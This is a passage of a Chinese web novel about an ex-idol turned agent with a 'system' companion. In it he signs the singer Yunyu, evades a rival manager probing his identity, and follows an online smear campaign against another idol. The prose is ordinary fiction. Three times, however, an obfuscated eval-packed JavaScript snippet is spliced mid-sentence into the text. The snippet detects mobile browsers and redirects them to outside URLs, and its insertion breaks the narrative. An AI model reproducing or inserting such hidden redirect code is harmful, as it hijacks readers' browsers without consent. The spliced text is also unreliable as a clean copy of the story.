场中静了瞬间，好不容易被三人的表演拉回状态的观众又回归了不安。 所有目光都聚集到尹灯身上，大家既好奇他的来历和身份，也担心他如江灼一样不给面子。 而尹灯：“你好，签吗？” 主持人：“？” 宋非泽隔着四个座位的目光一样炽热如火。 尹灯浑若未觉：“后台等我。但我笔有点断水，你有笔吗？” “……”韫玉面不改色，“我可以借。” 好消息，尹灯很给面子。 坏消息，有点太给面子了。 “哈哈，看来我们这位老师是迫不及待看中了我们的韫玉同学，韫玉同学也毫不犹豫接过了橄榄枝，真是高山流水遇知音，天造地设的一次合作……” 主持人尴尬地圆场，将求助目光投向搭档。 搭档匆匆接过话头，急忙宣布了下场表演的艺员和节目。 尹灯打着哈欠，理了理口罩，毫不在意观众席哗然的议论，只对下场前韫玉投来的目光回以颔首。 身旁江灼冷不丁地开口：“你不知道他有病？” 尹灯没扭头：“怎么？” “不怎么。”江灼顿了顿，“算你倒霉。” 怀有这种想法的不止江灼，尹灯知道，现在不少人都正满怀怜悯地看他。 在成熟的事务所看来，尹灯这样冲动，一定是因为不了解韫玉的情况。毕竟单看舞台，韫玉当然是个香饽饽。 可是作为香饽饽，却拖到了年考都没有一份正式合约。 就说明韫玉藏着大雷，是个非常危险的陷阱。 剩下的表演没什么看头，尹灯瞄过节目单，只从选曲就能看出后续艺员的风格。 典型的学院系偶像，中规中矩，力求安稳。 这些人不可能接受他的招募，尹灯也不想再碰一鼻子灰。趁着媒体还聚焦在舞台，没有立刻围攻他，尹灯起身，借着昏暗潜入了过道。 【捡到了捡到了！韫玉面板超强的！】 系统激动难耐，尹灯怀疑它要是拥有实体，现在能兴奋得在地上翻滚几圈。 “有多强？” 【哼哼，请看！！】 【姓名：韫玉】 【外形：A+（含苞待放一枝花）】 【声乐：S（天选歌姬全看他）】 【舞蹈：A（跳舞一样难不倒）】 【表演：A-（全面发展顶呱呱）】 【人气：688（有所耳闻）】 【事务所声望加成：无】 看到“人气”时，尹灯久无动静的眉头终于抬了一下。 出人意料，一个还没有正式毕业的学生，居然能有这么高的人气基础值。 看来韫玉在读这些年也很珍惜舞台机会，不是勤奋到一定程度，数据不会这么可观。 确实是捡到了。 【快快快，现在就去后台找他签约吧！】 以导师席的权限可以自由出入后台，但尹灯一路溜到了过道，却突然停下。 往来许多艺员都已知道他刚才的举动，此刻纷纷投来好奇的视线，不过都知道他的目标，也没有人上前打扰。 甚至有人主动指路：“韫玉在三号化妆间，就是前边靠右。” 尹灯笑笑：“谢谢。” 脚下还是没动。 系统急得不行，正想发问，有人代它开了口：“是忘了带合同吗？怎么在这儿逗留。” 尹灯回头，对上宋非泽漆黑的双眸。 宋非泽长了一双多情的桃花眼，看人时深情款款，格外温柔。但能爬到他的位置，想也知道人不可貌相，尹灯和他彼此凝望，数秒后，都化成一声轻笑。 宋非泽笑问：“看来是不急，我们聊聊？” 说着，他指了指不远的一间休息室，“那间休息室是点梦所特别使用，现在没有外人。” 尹灯没有拒绝。 以宋非泽这类成功人士的性格，越是回避，他们越是执着。 两人步进休息室，宋非泽亲手关了门，尹灯坐进沙发，大方地道：“多谢宋先生给我一个地方歇脚，我可能要借这里多坐一会儿，等韫玉。” “请随意。”宋非泽同样坐下，“我以为你会陪韫玉一起解决呢。” 他指的是音响事件。 这也是尹灯特意给韫玉多留一段时间的原因。 正常音响不会坏得这么刚好，之前一直没有坏，韫玉展示声乐的时候也没有坏，偏偏在他准备跳舞的时候坏掉。 下一场节目开始时，音响倒又好了。 用脚想也能猜到是人为，而且是针对韫玉的人。 尹灯答：“如果他需要，可以多等我一会儿。” 但他目测韫玉不是这么软弱的人。 宋非泽弯眼打量着他，用一种近似审视的目光。 不过在尹灯出言抗议前，宋非泽似乎就找到了答案，笑盈盈收回视线，开门见山地换了话题： “你很聪明，很漂亮，而且，你唱歌的声音很特别。” 尹灯毫不意外他的怀疑。 宋非泽是FLAME的经纪人，哪怕入职较晚，应该也很了解银灯的声色和风格。 而且点梦所肯定会告诉他，银灯只是解约，从未确定死亡。 “我敢打赌，你当偶像时一定成就非凡。”宋非泽说，“这样的星星理应被所有人看见，所以我真的很遗憾，你居然不再做偶像。” 尹灯反问：“宋先生每次签人都这么戴高帽吗？” “不。”宋非泽笑眯眯地，“我一般会本着客观理智的经纪人视角，提醒他们时刻认清自己的处境和短板。” 从而压价。 他坦诚得让尹灯都忍不住笑了：“没有外人的时候，宋先生真是露骨得让我害羞。” “可尹先生无论有没有外人，都一样滴水不漏。” 话虽如此，宋非泽的表情却很笃定。 好像已经百分之百地确认，眼前人就是银灯本尊。 毕竟点梦所掌握着他的真实姓名、年龄等等资料，宋非泽已经知道银灯姓尹，也确定银灯没死，还听到了他唱歌—— 虽然有点麻烦，但尹灯早就设想过被点梦所发现的应对办法。 “尹先生知道吗？年考现场虽然只有部分外客可以进入，但是舞台表演是随时进行直播的。包括你和江灼为韫玉解围时的表现，哪怕你们都做了乔装，直播间里也早就展开有关你们的讨论。” 尹灯：“什么？我都忘了给我家偶像打个广告。” 宋非泽：“……” 他全力维持着笑容，“迟暮也在直播自己的reaction哦？” 迟暮素以毒舌闻名，哪怕工作再忙，他也会直播自己观看一些舞台的即时点评。 他的热度关乎日出所的曝光，像安贝格年考这样的热点，迟暮更不可能错过。 尹灯的眼皮跳了跳：“所以？” 所以迟暮也听到了他？ 而且在不计其数的直播间观众面前有了奇怪的反应？ 宋非泽的笑容越来越大，眼见就要开口宣判尹灯的真实身份，休息室的门却被人突然敲响。 两人之间无言片刻，宋非泽不悦地问：“谁？” 门外传来中年男人温厚的嗓音：“宋先生，是我，张学贺。” 尹灯听得耳熟，但没记起人，宋非泽倒是收敛怒色：“是张老师啊。” 他被迫开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429668|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了门，门外，张学贺挂着笑：“不好意思宋先生，打扰你们休息了。” “没事，张老师有什么事吗？” 尹灯认出来，这是今天给他带路的那位张老师。 张学贺也看向了他，原本客气的笑容变得亲昵不少，语气里还带了轻微的埋怨：“小尹，韫玉都找半天了，你怎么躲到点梦所的休息室呢。” 听上去，好像两人颇有渊源。 宋非泽明显愣了一下：“张老师和尹先生是……” 张学贺道：“忘了和宋先生介绍，小尹是我以前的学生。不过身体不好，没毕业就退学了，现在稍微能活动了，我就托日出所的朋友给他找了经纪人的工作。这不，他小子一眼就把韫玉瞧上了，都是我带的学生，也算缘分。” 宋非泽僵在原地。 不只是他，尹灯的表情也空白一瞬。 系统急吼吼地提醒：【宿主？怎么还不答应？】 尹灯醒悟过来：“我这就去看韫玉。和宋先生聊得太投缘了，都怪我，老师别生气。” 宋非泽犹不死心：“尹先生怎么会是安贝格的学生？” 银灯明明是天降系偶像，在点梦所的内部资料里明确提到，银灯从未接受过任何学院培训，和学院老师们更是毫无交集。 他忍不住挡了一下，试图阻挡尹灯出门的脚步：“说起来，尹先生还从没有摘过口罩……” “宋先生。” 张学贺冷了脸，一手握住他的手腕，“我说过，小尹身体不好。” “……” “我知道您和那些网友一样，在想小尹是不是隐退三年的银灯。”张学贺说，“但是很抱歉，小尹是我一手带大的学生，名叫尹阳。” 尹灯的身体晃了晃，隔着宋非泽，他望向张学贺的眼神颤抖不已。 ——张学贺认出了他。 认出了他是尹阳的哥哥，认出了他是偷走尹阳机遇的“银灯”。 “尹阳”这个名字极其耳生，宋非泽从未在圈内听说，一时也不确定安贝格里是不是有过这样一个学生。 但见张学贺明显带了情绪，宋非泽的态度旋即转缓：“对不起，是宋某冒犯了。” “我原谅宋先生。” 尹灯飞快地说完，趁宋非泽发懵的几秒，跟着张学贺钻了出去。 韫玉就靠在不远处的过道墙上，见两人顺利出来，他才放下手机，收起脸上微淡的忧色。 是他及时听说了宋非泽和尹灯的不对，并且找来张学贺解围。 “你们聊吧。”张学贺背起双手，作势想要离开。 尹灯不禁叫住他：“张老师。” 张学贺的背影顿了顿：“……别担心，尹阳的资料被删得非常彻底，年龄、性别、成绩都没有记录，宋非泽查不到她。” “………”尹灯道，“谢谢您。” 张学贺摆摆手，离开了两人的视线。 尹灯难得地有些失神。 他预料过在A市遇到自己的故人，却没想到，还能遇到尹阳的恩师。 不仅相遇，对方还为了尹阳帮助自己。 心脏猛然间一阵揪疼。 就是这样没错。 他的一切幸运，都是趴在尹阳的身上茹毛饮血、敲骨吸髓。就连逃脱宋非泽，也是借了尹阳的身份。 冥冥之中，尹阳比神明还要长久地庇护着他。 一双修长的手臂伸近过来，尹灯不及反应，就被拉进了一个单薄但温暖的怀抱。 他愣了半秒，才发现是韫玉抱住了他。 两人靠近时，足以听到韫玉的心跳。仿佛晚钟，迟缓而笨重，却坚持不懈，怦咚、怦咚。 尹阳就是死于先心病。 她的心跳也曾如此接近。 “您看上去需要一个拥抱。”韫玉的声音从头顶传来，“如有冒犯，先抱歉了。” 尹灯怔了许久。 他好像忘了眨眼，回神时，眼眶酸得厉害。 随着韫玉的话音落下，尹灯合眸：“……谢谢。” 12. 愿者上钩-1 去年春日庆典，是韫玉作为正式艺员的首秀。 老师们从两百名学生中只选了他所在的三人组合，而他，众望所归的组合C位，自然带领着同伴大出风头，一举夺得了宋非泽的青眼。 哪怕在安贝格，有着这样起点的学生也是屈指可数。 韫玉甚至能记起这一年里朝向自己的每一张笑脸，说给自己的每一句艳羡。 他真诚感谢这些机会、这些际遇。 同时无比珍惜，规划着今后如何回报。 ——直到那份诊断报告被推到眼前。 “我没事了。” 尹灯出声，结束了韫玉的回忆。 没有人打扰他们的拥抱，尹灯整理好情绪，又恢复成平日泰山崩于前而睡大觉的模样。 他在打量韫玉的脸。 和陈凡的野性、苏雪枝的精致不同，韫玉的五官更接近“端正”。 “端正”在偶像里是很难得的。 每个地方、每个角度都要恰到好处，多一分则张扬，少一分又寡淡。有着这种长相的偶像，往往会少一点个人风格，但也拥有了更多的可能性。 现在，韫玉微青的唇角就为这张脸添了一丝叛逆。 尹灯挑挑眉，抬起他的下巴，用拇指按了按那处淤青：“怎么破相了？” 韫玉一怔，不自在地移开眼。 但他没有挣脱尹灯的把控：“……去处理了一点私事。” 尹灯问：“是关掉音响的人吗？” 韫玉不做回答，只是笑意温和地看他。 尹灯认为这就是答案：“那好吧。” 他从背包里取出经纪合同，韫玉也依约带来了签字笔。 两人一言不发，甚至就这么头碰头地蹲在过道里，韫玉瞄上几页，就直接翻到了签名处。 【这么简单？！】系统炸了，【这么倒贴！！】 尹灯也很惊讶。 虽说韫玉现在正处低谷，但居然跟苏雪枝、陈凡一样，条款都不看明白就签字…… 让他为了拟好格式合同而熬的大夜显得很蠢。 “还是看看吧。”尹灯诚恳地说，“我通宵写的这个。” 韫玉看他一眼，却没说什么。 直到签好名字，他抬起头，眼眉弯弯，温柔而慈爱：“很用心哦，辛苦了。” 尹灯：“难道你对我们所毫无疑问吗？” 看韫玉的表演风格，也不像银灯的粉丝。 韫玉歪一歪头：“您对我不也没有疑问？” “我至少看过你的舞台……” 韫玉伸出手，隔着帽子摸了摸尹灯的头顶：“没关系，我陪您一起努力。加油。” 尹灯：“……” 尹灯：“？” 这对吗？ 在明知他是银灯的前提下，韫玉居然还用这种长辈姿态“表扬”了他。 这不对。 但韫玉好像没有这个自觉。 发现尹灯有些恍惚，韫玉进一步投来关切的目光：“尹先生，您不舒服吗？” 然后熟练地从背包里翻找，“我随身带着热水、暖宝宝和止痛药，您需要哪个？说起来，今天是下雪天，您穿得有点单薄呢。我刚买了一件羽绒服，就在宿舍里，还没穿过，我去取给您吧？” 说完，他的目光挪到了尹灯裸露的脚踝处，“尹先生，这么冷的天，不穿秋裤可不行。对了，包给我吧，我送您到校门口打车。” 尹灯：“啊。” 系统先一步喊出了他心中所想：【是妈妈！！！】 没有错。连同长发垂落时拂发的动作，关心他人时熟练的唠叨和照顾，完全就是影视剧里亲切温柔的妈妈形象。 这孩子真的是今年十六岁吗？ 比他小六岁，却这么轻车熟路接过了包。就像接小学生放学的家长。 尹灯没找到反驳的机会，手里就多了签好的合同和保温杯。 至于他的包，自然落到韫玉的肩上。 韫玉快走几步，领先半个身位挡住了过道的风，回头笑道：“走吧，尹先生。” 这是尹灯有记忆以来，第一次被人这么体贴。 但没等他们完全走出后台，医务人员抬着担架匆匆从后边赶上，与尹灯擦肩而过。 余光瞟到担架上躺着的孩子，鼻青脸肿，还穿着演出服，抱着腿呻/吟不断。 经过时，对方也看到他们，尤其看到了韫玉。 尹灯确信，在双方视线交汇的瞬间，他看到伤患明显地抖了一下。 而韫玉依然是那副完美的笑脸，还对医务人员点头致意。 尹灯问：“熟人吗？” 韫玉接话：“前队友。” 顿了顿，他又补充，“断我音响的人。” “……” “我揍的。”韫玉笑眯眯说。 “………” 这么狠……？ 按照剧本，韫玉不该是个被孤立、被霸凌、被非议的小可怜吗？ 这不对吧？！ - 原组合是因为韫玉才受到点梦所的关注。 但韫玉实在太出挑，宋非泽一直邀请他以预备成员的身份加入FLAME。 所以早在韫玉确诊病情前，原组合就因职业规划不同而分道扬镳。 那以后，韫玉从不觉得自己的态度有何变化。 可随着名气渐涨，越来越多的演出机会找到他，韫玉待在学校的时间越来越少。久而久之，“韫玉”就更接近一个成功的符号，而非真实的同学。 大家的目光慢慢变了。 “宋先生说，这种程度的嫉妒很正常。”韫玉平静地叙述着，“虽然有些伤心，但既然前辈们都有类似的经历，我也不想太矫情。而且今天有尹先生解围，我很幸运。” 听上去是非常成熟的心态。 让人忍不住感叹，这样心性的人一定会走到行业高位。 尹灯观察他的表情，没挑出一丝不对。 韫玉的神情始终温良，提到暗中整蛊自己的前队友，他的眼里也不见一丝怒色。 所有情绪都被锁在透澈的眸中，好像真的毫不在意旧友反目的现状。 尹灯却问：“他们承认是嫉妒了？” 韫玉一愣。 娱乐圈是世态炎凉的典范，人情冷暖在这里总是显得极端。 因为嫉妒而爆发的矛盾不计其数，以至于从业偶像大多如履薄冰，比起交往朋友，更希望保全自身。哪怕是同组合的队友，也常常貌合神离。 尹灯是从大乱斗时代杀出来的顶流，本该比任何人都清楚。 但他握着韫玉的保温杯，好像只是不经意的闲聊，轻飘飘带过：“如果是希望你出丑，为什么不直接掐断你的麦克风？你的特长不是声乐么。” 韫玉张了张口：“您是指？” “只唱歌的话，即便先心病也能胜任，但跳舞就没那么轻松了吧。” “……” “也许有人是想着，哪怕被事后追责，甚至被取消毕业证，也无法坐视曾经的队友累死在舞台。” 尹灯道，“你的确该好好告诉他们，不要自作主张。” 韫玉的脚步顿住了。 显然，他还从未想过这个角度。在作为单人偶像活跃的一年里，他都已经习惯了孤军奋战，也习惯了提防所有人。 尹灯摇摇头，拿过包，塞给韫玉一张名片——正是宋非泽留下的那张，背面写了尹灯的手机号和住址。 比起小大人一样照顾他这个成年人，现在应该有更重要的事等着韫玉去做。 尹灯不喜欢跟人交往。 但每个交往过的人，尹灯鲜少以恶意揣测他们。 不是他真的相信世上好人多。 而是把人都当坏人提防的话，脑子会很累。尹灯讨厌累。 而且对比起前队友和韫玉的状态…… 韫玉嘴角那点伤轻得仿佛蚊子叮，如果对方没有故意放水，韫玉打架再厉害也不至于这么悬殊。 “不用送我了，也不用拿羽绒服，我自己打车。”尹灯挥挥手，“明天过来集合，也给你介绍一下今后的队友。” 做了快一年的单人偶像，突然听到“队友”，韫玉明显有些走神。 但他很快反应过来，眸光闪了闪：“是。” 走到门口，尹灯又转回头，似笑非笑地补充： “别担心，过不了多久，宋非泽绝对会向你道歉。” 韫玉怔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15429669|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了怔，忍俊不禁。 “和您一起，我很有信心。” - 【韫玉，真是人不可貌相……】 回想起前队友嗷嗷的呻/吟，系统还觉得一阵后怕。 这韫玉看上去乖乖巧巧、温温柔柔，没想到打人这么狠。连它都注意到，韫玉的拳头都打破了皮，可想而知前队友有多遭殃。 ——不过毁人舞台，不管是什么初衷，都确实该打。 韫玉选择私下解决，而不是逼着学院下场，闹到最后，已经算仁至义尽。 深夜的安贝格学院里还能听到不时响起的快门声。 媒体争先恐后采访着今晚露面的名人，尹灯跟着韫玉走了艺员通道，相比之下安保较严，还不至于被层层封锁。 但也有不少长/枪短炮架在门前，气势汹汹等着猎物。 尹灯停下脚步，不禁想起了江灼。 要说争议，圈里除了迟暮这个怪胎，剩下就看江灼和季连殊了。 这三个人都是典型的黑红，热搜常驻，非议不断。但是江灼近两个月都没什么曝光，今天难得出现，肯定不少人认出了他。 不知道那小子都是怎么躲过媒体的，很想拜师。 正巧外边已在飘雪。按照尹灯的经验，过了十二点这些记者就会散去。 他索性躲在廊间，既等雪停，也等记者离开。 手机却突然亮了一下，是陈凡催他回电话的飞信。 尹灯低头一看，才发现有二十几个未接来电。 分别来自迟曦、陈凡和苏雪枝。 很全面，抛开韫玉，一共就这三人有他新手机号。 想了想，按照先后顺序，尹灯拨给了苏雪枝。 电话只“嘟”了半声就被接起，没等尹灯开口，话筒那边先传来的是陈凡的尖叫：“尹先生！不好啦！大事不好，快回家吧！杀手会找过来的！但是别怕，俺、俺和小雪已经磨好了刀，俺要和杀手同归于尽！！” “……”尹灯无情打断，“让雪枝说。” 苏雪枝这才接过电话，却也有些语无伦次：“先生……您、您上热搜了！” 尹灯微微耸眉。 好吧，互联网还是不容小觑。 “真的还是买的？” “应该是真的……”苏雪枝颤声说，“最开始不止一条……不过，有人在压热度……现在前十里只剩一条了……” 尹灯翻到社媒平台，只见总榜第五、文娱榜第二，赫然就是他的“热搜”。 #老暮回应安贝格年考神秘人：莞莞类灯# 至于被压下去的几条，则是网友热火朝天的讨论。 大家都认为他的声色太像银灯，但是银灯这种现象级偶像，本来也不缺各种模仿演员，其中能把声线模仿得惟妙惟肖的大有人在。 只是一段几乎没有歌词的吟唱，阔别三年，谁都不敢笃定那是银灯。 然而，坚持神秘人就是银灯的部分网友还有一个证据。 那就是全程直播年考的迟暮在神秘人开嗓的瞬间，明显露出了怔色。 尽管下一秒他就调整状态，矢口否认，可还是有大量直播间观众录下了他短暂的失态。 直到五分钟前，迟暮发出最后一条回应： [“拜托，那可是日出所的席位，莞莞类灯罢了，本人审美就这样（推眼镜）”] 网友A：[“呵呵老暮，确诊为灯性恋”] 网友B：[“那不说灯了，赶紧把莞莞端上来！”] 网友C：[“老暮是这样的，老灯相关词条他永远头一个吻上”] 网友D：[“我是学生，莞莞送我，再随200份子钱（怒）”] 没过多久，这条热搜也沉了下去。 取而代之的是一大堆江灼相关。 #江灼 经纪人互殴视频流出# #被殴打工作人员伤情曝光# #多人验伤控诉江灼暴力行径# …… 眼睁睁看着自己的名字从热搜榜上消失，尹灯脸上的笑意却在转瞬荡然无存。 他很熟悉这种手法。 公众一下子忘记了银灯的事，江灼的热度足以盖过一切喧嚣。 迟暮发力了。 13.愿者上钩-2 经过一宿发酵，加上迟暮的推波助澜，舆情彻底爆发。 江灼打人的视频被公开，哪怕江灼粉丝在第一时间赶去举报，视频链接还是在用户日活最高的“信者论坛”存活了15个小时之久。 更糟糕的是，除开暴力，江灼被曝出的丑闻越来越多。 耍大牌、缺席舞台、糊弄拍摄、因为个人单曲的成绩不佳而迁怒队友…… 甚至诞生了“传说是过激教徒”、“辜负过很多女朋友”、“酗酒成性经常参加关系混乱的派对”、“私生子成群”等等完全没有依据的谣言。 已经到了不关注偶像，都会觉得此人严重违背社会公德的程度。 尹灯一觉睡醒，关于江灼的各种传闻早就甚嚣尘上。 尤其在论坛里，拼命维护的死忠、落井下石的黑子、火上浇油的乐子人……完全乱成了一锅粥。 尹灯随手点进热度最高的一栋楼： 《李涛，江灼合约年底到期，星造还会捞吗？》 [“捞个屁捞，Royal Star四代英名全砸他手里，帝星团粉恨死了”] [“抽烟酗酒飙车斗殴乱搞两性关系，江灼你还有什么惊喜是朕不知道的（大拇指）”] [“呵呵网友又急了，一条没头没尾的视频就算锤吗？别忘了前几年对家搞FLAME，季连殊也是这样一屁股瓜”] [“谁急谁知道，碰瓷前辈的正主糊一辈子哈”] [“巧了不是，当年星造捧江某的噱头就是‘小小赢’（偷笑）”] [“呃呃呃我们季推是佛了不是哑了，小赢就那一次瓜，老灯下场后孩子立马乖成鹌鹑了好吗（大哭）”] [“季连殊风评也就那样，但是没有季连殊的命就别得季连殊的病（扶额）”] [“哈哈wuli小赢闯祸了有队长上窜下跳，你江出事，队友装死一绝生怕割不了席”] [“不然咋说星造蠢，炒了小赢代餐不随个银灯代餐，纯纯遛狗不牵绳（狗头）”] [“你别说，星造真给老灯复活的话我愿意溺爱江灼一次（大哭）”] [“冷知识，全偶像业炒了三年银灯代餐，至今最像的一口是老暮刚拉的莞莞”] …… 每秒钟都有上百条新回复在贴子里刷新，而这只是江灼风波的冰山一角。 些许理智的、观望的声音总被淹没在讨伐的浪潮下，或者被限流，莫名其妙地从贴子里消失。 尹灯能看出，这就是一场有蓄谋、有计划的，针对江灼的围剿。 而且很多人和他看法一致。 但是江灼莽撞冲动的公众印象由来已久，他的粉丝平时也没少惹事，引起不少人的反感。 现在有了落井下石的机会，自然人人得而诛之。 【哇，这么看居然有点同情江灼了。】系统嘀咕说，【虽说迟暮也是为了保护宿主，但是这样也太……】 尹灯笑了一声：“跟我可没什么关系。” 前FLAME里人气最高的是银灯，其次就是季连殊。 因为银灯天降系、来历不详、精通营业等等特点都太难复刻，所以眼红FLAME人气的事务所，大多会选择复刻季连殊。 星造就是那时候发掘了江灼。 彼时江灼的定位、曲风，甚至长相都和季连殊颇为相似，就在季连殊被造谣，FLAME最困难的时候，江灼高调加入Royal Star，吸引了不少季连殊的受众。 两人的梁子自此结下。 任谁接手季连殊，都不可能放过江灼。 更何况江灼隶属于星造所，星造所和迟暮的矛盾更是说来话长。 现在对江灼重拳出击，既能抬一手季连殊，又能踩一脚星造所，迟暮怎么可能放过这个机会。 顶多就是在时机的选择上，可能因为自己的出现有点着急。 想到这里，尹灯看向手机。 他昨晚也给迟曦回了电话，但对方久久没有接通。 直到现在已近中午，也没等到迟曦的回电，倒是韫玉来过一个电话。 陈凡“笃笃”敲响了门：“尹先生，您醒了吗？” “来了。” 尹灯漫不经心地下床，拉开门，只见陈凡一副忏悔多时的模样立在门外。 陈凡嗫嚅着说：“尹先生，今早小刘哥哥说有客人登记，问我是不是属实。我看他长得特别好看，昨晚也在那个什么年考的直播里露过脸，还握着先生你的手机号码，就答应让他进来了……” 尹灯应一声：“是韫玉吗？” 陈凡点头如捣蒜：“对对，他是说叫韫玉来着。但是、但是……” 陈凡的声音越来越弱，尹灯听不清晰，反而听到楼下传来熟悉的嗓音：“尹先生休息够了吗？冒昧打扰真是不好意思，我准备了三人份的午餐，请您洗漱后下楼尝尝吧。” 他还补充半句，“小凡，你先帮我尝尝这份炒菜的咸淡好吗？” 真是韫玉。 尹灯还没开口，陈凡闭上眼，一副视死如归大义凛然的模样：“俺这就来！” 尹灯：“？” 尝个咸淡怎么把孩子乡音都逼出来了。 但不及追问，陈凡已经拖着沉重的脚步下楼去也。 【太好了，韫玉性格很随和呢！】系统感动地说，【完全没有看不起陈凡，还会做饭，果然是妈妈级别！】 妈妈，级别，吗？ 尹灯又想起昨晚韫玉前队友的伤势……合理，严母也是母！ 韫玉作为客人却主动做饭，尹灯也不便耽搁，很快洗漱完前往餐厅。 陈凡正帮着端菜，不知道是不是错觉，尹灯看他走路的腿竟有些发抖。 “尹先生，午安。”韫玉简单收拾过厨房，听到脚步，笑盈盈脱下了围裙。 韫玉比苏雪枝还要小几个月，是CANDLE现在最小的成员。 但看他轻车熟路的样子，似乎早就习惯了照顾大家。 尹灯不做他想，坐到餐桌，看向满桌精致华丽的菜肴：“你费心了，这些菜都很花时间吧。” 韫玉道：“做熟练了就很快，而且有小凡帮忙择菜。” 他顿了顿，等陈凡也入座后才坐下，深吸一口气，“我想着无论如何也要好好感谢尹先生，不仅是为了昨天舞台时的帮助，也不只因为CANDLE接纳了我……” 尹灯拿起筷子：“是和前队友的交流有了进展？” 韫玉垂眼，缓缓点头：“年考之后，我们就没什么课了。他签的是点梦所，听完尹先生的劝告，我也觉得必须抓紧时间把话说开，总不能给CANDLE树敌。” 尹灯被他的谨慎惊了一下。 这孩子的缜密程度远超他的预料，哪怕尹灯，都没想过一个新人偶像能给CANDLE带来什么危险。 但韫玉有这份细心当然是好事，毕竟所里正欠缺这样的警惕心。 “然后，他说的话，和尹先生的推测一模一样。” 韫玉双手合十，合眸做完饭前祷告。 尹灯才发现他是教徒。 虽然不确定是什么宗教，但祷告的动作格外熟练。 “一模一样是指……” 韫玉睁开眼：“他们都不清楚我的身体状况，但好像认定了我只要跳舞就会死掉。为此，他早就准备好放弃偶像，甚至说要拉我一起去考大学，还提前买了高考资料。” 尹灯：“……” 尹灯失笑：“那他考虑还挺周全。” 韫玉低头吃了一口饭：“我不打算告别偶像，但他没有恶意，我也不想苛责。” 听上去，尹灯和前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432731|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队友的矛盾就算解决了。 一人差点失去宝贵的毕业舞台，一人被揍得至少一周下不了床。 接着握手言和，两不为难。 尹灯若有所思地点点头，顺手被陈凡夹了一筷子松鼠鳜鱼。 陈凡却吓得一哆嗦，几乎带着颤音婉拒：“先、先生，您吃，您吃。不用管我。” “？” 这是不好意思被他夹菜吗？ 但这几天他都有给陈凡和苏雪枝夹菜，这孩子也该习惯了吧？ 尹灯只得夹回自己碗里。 然后吃进嘴里。 …… ……… 陈凡好像早有预料，递水的动作比他拒菜的动作还快：“先生，水在这里！” 尹灯涨红了脸，顶着韫玉疑惑的目光猛灌一大杯水。 他能感觉到，自己的肠胃都跟火烧一样，和脸色一起燃了起来。 舌尖剧烈的痛觉一路传到胃部，一处比一处烧得热烈。 是被辣死的话，系统还会救活他吗？ 【宿主？？？！！！】系统失声尖叫，【你的身体数值怎么在坐跳楼机，难道韫玉是宋非泽派来下毒的卧底！！！】 尹灯：“……” 托系统的福，他好像真的幻视了自己的血条在猛掉。 要是能给系统塞一口鱼肉就好了。 ——谁家好人做松鼠鳜鱼浸的是辣油啊？！ 罪魁祸首依然一脸无辜：“诶，原来尹先生和小凡一样不能吃辣？” 尹灯终于理解了陈凡这十几分钟里的欲言又止。 韫玉道：“那尝尝牛肉吧，这个没放辣油。” 尹灯夹了一筷子：“红烧牛肉……？” 塞进嘴里。 ……怎么是巧克力烧牛肉？？！！ 偏偏韫玉看上去，无论是做饭的动机还是做饭的热情都不容置疑。 没有一丝整蛊，他平静得像真心喜欢这些魔幻食物。 尹灯：“比起吃饭还是先安排一下工作吧。” 陈凡：“俺支持俺支持，其实俺还一点不饿！这些菜可以先收起来，留到晚上给小雪做宵夜！” 提到工作，韫玉跟着放下筷子：“工作的话，我和小凡大致沟通了一下，CANDLE现在最紧急的目标就是让小凡和另一个队友通过IIT，对吧？” 尹灯点点头：“算是。但IIT就在周末，事务所的注册审批还没下来，这几天我会发函催促一下。” “那么有一件事，说不定是好消息。”韫玉道，“这期IIT要推迟了。” “……推迟？” “近两年没什么很出色的天降系，事务所都不愿意赞助IIT了。所以IIT从年中更新了制度，设立了一个特别评审团，由一些职业偶像随机出席，作为评委点评考生。” 韫玉介绍，“考试全程直播，就像选秀综艺一样，还给了观众投票的权利。” 尹灯无言半秒。 他为IIT的堕落感到耻辱。 陈凡眨巴眼睛，问：“但这和推迟IIT有什么关系？” 韫玉：“嗯……这周末的IIT，原定评审是江灼。” 然而现在，江灼正处于水深火热。 踢他出局，江灼的粉丝自然不情愿；保留他的席位，后续的舆情同样难以预料。 当然，只是江灼的问题也不至于让IIT延期。 更多的，估计还是星造所在施压。假如江灼顺利续约，他就值得IIT延期等待；反之…… 不仅仅是在IIT出局，只怕在整个偶像业界，同时面临日出所的剿杀、星造所的抛弃，很难再有江灼的立足之地。 尹灯只思考了三秒钟，掏出手机点开迟曦窗口： [姐姐，你推飞信发我>3<]> 14.愿者上钩-3 半小时后，迟曦回复了一通电话。 听筒那头，她的声音满是疲惫，显然心情不佳：“你还敢找我？” 尹灯反问：“怎么了？” 